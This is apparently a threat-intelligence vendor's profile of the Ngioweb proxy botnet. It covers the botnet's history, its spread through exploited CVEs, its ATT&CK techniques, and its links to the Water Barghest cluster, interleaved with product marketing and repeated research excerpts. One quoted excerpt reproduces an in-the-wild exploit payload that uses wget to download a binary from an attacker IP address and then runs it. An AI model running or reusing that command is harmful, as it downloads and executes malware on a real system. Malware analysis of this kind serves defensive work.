Loading malware…
Ngioweb is a long-running proxy botnet malware family that has operated since at least 2017–2018 and has evolved across Windows, Linux server, router, and IoT environments. Its core purpose is to convert compromised systems into proxy nodes that can be used for back-connect access, relay operations, and commercial residential proxy services. The malware has been associated with criminal monetization of infected devices through proxy marketplaces and has also appeared on infrastructure later abused by espionage actors.
Early activity linked Ngioweb to Windows infections distributed at scale by Ramnit in 2018, where Ramnit functioned as a loader for Ngioweb. In that phase, Ngioweb established persistence on Windows systems, used process hollowing for execution, and communicated through a staged command-and-control architecture protected with layered encryption and authenticity checks. Researchers estimated that this campaign infected well over one hundred thousand systems and primarily used them as malicious proxy servers.
By 2019, Linux variants were observed on compromised web servers, including WordPress-hosted systems, and later the malware shifted heavily toward Linux-based routers, NAS appliances, and other IoT devices. From 2020 onward, operators deployed Ngioweb across many Linux architectures after exploiting known vulnerabilities in exposed devices. On IoT targets, the malware commonly executes directly in memory and is often non-persistent, allowing compromised devices to be rapidly enrolled into proxy infrastructure while reducing forensic artifacts on disk. Infections on internet-facing routers such as EdgeRouter devices have also been documented.
Ngioweb supports multifunctional proxy behavior, including back-connect and relay modes over both IPv4 and IPv6 and across TCP and UDP. Infected devices register with command-and-control infrastructure, beacon system metadata, and may then be instructed to connect to proxy access points where they are tested and prepared for resale as rentable proxy nodes. Later variants retained the family’s original proxy-centric design while adding or maintaining domain generation functionality and anti-sinkholing measures such as DNS-based authenticity validation. Samples are also known for obfuscation and defense-evasion features.
The malware has been tied to the threat cluster commonly tracked as Water Barghest, which industrialized exploitation of vulnerable IoT devices and automated their conversion into proxy nodes for sale. That activity targeted a broad range of internet-exposed Linux-based embedded devices and routers. Ngioweb infections have been monetized through underground and criminal proxy services, with a large proportion of infected nodes appearing to be residential or small-office devices. The family therefore represents both a malware platform for proxy botnet operations and an enabling layer for anonymization, cybercrime, and potentially follow-on intrusion activity.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
8 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Seven years after its first appearance, the proxy server botnet Ngioweb continues its impactful presence on the internet... One of the samples obtained during 2024 ... allowed LevelBlue Labs to determine that the Ngioweb trojan ... works very similarly to how Ngioweb worked in 2019.
Ngioweb V2 is spread through the flowing vulnerabilities... CVE_2013_3568 ...
Ngioweb V2 is spread through the flowing vulnerabilities... CVE_2019_8387 ...
Take CVE-2017-10271 as an example, the payload in the wild is as follows: ... /bin/sh -c cd /tmp;wget http://94.102.50.143/WSW0;chmod +x WSW0;sh WSW0;rm WSW0
Ngioweb V2 is spread through the flowing vulnerabilities... CVE_2020_14882 ...
Seven years after its first appearance, the proxy server botnet Ngioweb continues its impactful presence on the internet... One of the samples obtained during 2024 ... allowed LevelBlue Labs to determine that the Ngioweb trojan ... works very similarly to how Ngioweb worked in 2019.
Seven years after its first appearance, the proxy server botnet Ngioweb continues its impactful presence on the internet... One of the samples obtained during 2024 ... allowed LevelBlue Labs to determine that the Ngioweb trojan ... works very similarly to how Ngioweb worked in 2019.
Seven years after its first appearance, the proxy server botnet Ngioweb continues its impactful presence on the internet... One of the samples obtained during 2024 ... allowed LevelBlue Labs to determine that the Ngioweb trojan ... works very similarly to how Ngioweb worked in 2019.
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Wenn ein Exploit erfolgreich ist, laden die kompromittierten IoT-Geräte ein Skript herunter, das Ngioweb-Malware-Samples durchgeht, die für verschiedene Linux-Architekturen kompiliert wurden. Wenn eines der Samples problemlos läuft, wird die Malware Ngioweb im Speicher des IoT-Geräts des Opfers ausgeführt.
Seven years after its first appearance, the proxy server botnet Ngioweb continues its impactful presence on the internet... One of the samples obtained during 2024 ... allowed LevelBlue Labs to determine that the Ngioweb trojan ... works very similarly to how Ngioweb worked in 2019.
34 distinct techniques documented for this family, organized by ATT&CK tactic.
TA0001: Initial Access T1189: Drive-by Compromise T1190: Exploit Public-Facing Application
Using internet scan data, the automated scripts of bad actors can quickly try known vulnerabilities, and possibly even zero-days, against the exposed IoT devices. In the case of Water Barghest, we have seen that the time between exploiting an IoT device and putting them for sale on a residential proxy marketplace can be as little as 10 minutes.
The malware creates two scheduled tasks: To run the first copy ... at logon To run exe every two minutes.
The malware creates two scheduled tasks: To run the first copy ... at logon To run exe every two minutes.
TA0003: Persistence T1543: Create or Modify System Process T1543.001: Launch Agent
The malware creates two scheduled tasks: To run the first copy ... at logon To run exe every two minutes.
The malware creates two scheduled tasks: To run the first copy ... at logon To run exe every two minutes.
First, the malware injects its code into the newly created process “msiexec.exe” using a process hollowing technique.
First, the malware injects its code into the newly created process “msiexec.exe” using a process hollowing technique.
TA0003: Persistence T1543: Create or Modify System Process T1543.001: Launch Agent
All strings in the malware sample are obfuscated using a “Stack strings obfuscation” technique... Any time the malware needs to call an API function, it first resolves the address of a target function using a pair of hashes.
The second argument of “getexec” command is used to specify the file name for the downloaded executable... “msiexic.exe”
First, the malware injects its code into the newly created process “msiexec.exe” using a process hollowing technique.
First, the malware injects its code into the newly created process “msiexec.exe” using a process hollowing technique.
For the stored file it sets new timestamps to the same value as ntdll.dll has.
TA0005: Defense Evasion T1140: Deobfuscate/Decode Files or Information
The malware uses the HTTP protocol to connect to one of the STAGE-0 C&C servers. | Ngioweb uses two-stage C&C infrastructure. STAGE-0 C&C server informs the malware about the STAGE-1 C&C server while the unencrypted HTTP connection is used for this purpose. The STAGE-1 C&C server is used for controlling malware via an encrypted channel.
Die Malware war bereits darauf ausgelegt, einen infizierten Computer in einen bösartigen Proxy Server zu verwandeln ... die entsprechende IP-Adresse innerhalb weniger Minuten nach der Erstinfektion auf der Website des Marktplatzes angeboten wurde.
Wenn ein Exploit erfolgreich ist, laden die kompromittierten IoT-Geräte ein Skript herunter ... Sie laden auch Ngioweb-Malware auf frisch kompromittierte IoT-Geräte hoch.
36 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Haittaohjelmakatsaus: Ngioweb
Ngioweb is malware used to turn compromised systems—initially Windows hosts, later Linux servers and IoT devices—into malicious proxy nodes that register with a C2 server and are then listed for rental on a proxy marketplace. The IoT infections described are memory-resident and non-persistent, and the malware has evolved across Windows, WordPress/Linux server, and IoT botnet variants.
Ngioweb is malware associated with the Water Barghest campaign and used in IoT/proxy botnet operations. The content indicates it infects exposed IoT devices, is highly obfuscated, uses AES keys embedded in binaries, and supports rapid exploitation-to-market use of compromised devices as residential proxies.
A multifunctional proxy server botnet/trojan that infects routers and IoT devices, scans for vulnerable devices using dedicated exploit infrastructure, beacons to DGA-based C2, and turns compromised systems into residential SOCKS proxies sold via Nsocks.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.